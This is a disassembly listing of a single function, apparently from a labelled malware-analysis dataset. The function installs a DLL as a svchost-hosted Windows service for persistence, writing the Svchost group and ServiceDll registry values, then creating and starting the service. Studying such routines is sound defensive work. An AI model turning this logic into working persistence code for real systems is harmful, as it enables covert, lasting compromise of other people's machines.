Function at 0x10009870
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Print debug messages
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10072e81
mov eax, dword fs:[0]
push eax
sub esp, 0x29c
mov eax, dword [0x10090014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x230]
call fcn.10001540
mov dword [ebp - 4], 0
mov dword [ebp - 0x264], 0
lea ecx, [ebp - 0x264]
push ecx
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10009901
mov dword [ebp - 0x27c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x27c]
jmp 0x10009d39
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x268], edx
mov eax, dword [ebp - 0x268]
add eax, 2
mov dword [ebp - 0x280], eax
mov ecx, dword [ebp - 0x268]
mov dx, word [ecx]
mov word [ebp - 0x26e], dx
add dword [ebp - 0x268], 2
cmp word [ebp - 0x26e], 0
jne 0x10009919
mov eax, dword [ebp - 0x268]
sub eax, dword [ebp - 0x280]
sar eax, 1
mov dword [ebp - 0x284], eax
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x288], ecx
mov edx, dword [ebp - 0x288]
lea eax, [edx + edx + 2]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 7
push 0
lea ecx, [ebp - 0x230]
call fcn.100015d0
push eax
mov edx, dword [ebp - 0x264]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100099b1
mov dword [ebp - 0x28c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x28c]
jmp 0x10009d39
mov eax, dword [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0
jne 0x10009a03
mov dword [ebp - 0x290], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x290]
jmp 0x10009d39
xor ecx, ecx
mov word [ebp - 0x218], cx
push 0x206
push 0
lea edx, [ebp - 0x216]
push edx
call fcn.100191c0
add esp, 0xc
push 0x10075b84
lea ecx, [ebp - 0x248]
call fcn.10001540
mov byte [ebp - 4], 1
call fcn.10009d60
test eax, eax
je 0x10009a53
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x10009a65
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x248]
call fcn.10001650
push str._svchost.exe__k
lea ecx, [ebp - 0x248]
call fcn.10003040
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x248]
call fcn.10003750
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x248]
call fcn.100015d0
push eax
push 1
push 2
push 0x20
push 0xf01ff
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x278]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
jne 0x10009b14
mov dword [ebp - 0x294], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.10001500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x294]
jmp 0x10009d39
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x298], ecx
lea edx, [ebp - 0x298]
push edx
push 1
mov eax, dword [ebp - 0x26c]
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x260]
call fcn.10001540
mov byte [ebp - 4], 2
mov ecx, dword [ebp + 0x10]
push ecx
lea ecx, [ebp - 0x260]
call fcn.10003040
lea edx, [ebp - 0x264]
push edx
push 0xf003f
push 0
lea ecx, [ebp - 0x260]
call fcn.100015d0
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10009bc4
mov dword [ebp - 0x29c], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x260]
call fcn.10001500
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.10001500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x29c]
jmp 0x10009d39
mov dword [ebp - 0x274], 0
lea eax, [ebp - 0x274]
push eax
push str.Parameters
mov ecx, dword [ebp - 0x264]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x10009c30
mov dword [ebp - 0x2a0], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x260]
call fcn.10001500
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.10001500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x2a0]
jmp 0x10009d39
mov ecx, dword [ebp + 8]
call fcn.10003030
lea edx, [eax + eax + 2]
push edx
mov ecx, dword [ebp + 8]
call fcn.100015d0
push eax
push 2
push 0
push str.ServiceDll
mov eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10009ca5
mov dword [ebp - 0x2a4], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x260]
call fcn.10001500
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.10001500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x2a4]
jmp 0x10009d39
push 0
push 0
mov ecx, dword [ebp - 0x26c]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10009cc5
push str._n_StartService_fail
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov edx, dword [ebp - 0x264]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x26c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x278]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x2a8], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x260]
call fcn.10001500
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.10001500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001500
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000a6d9
mov esp, ebp
pop ebp
ret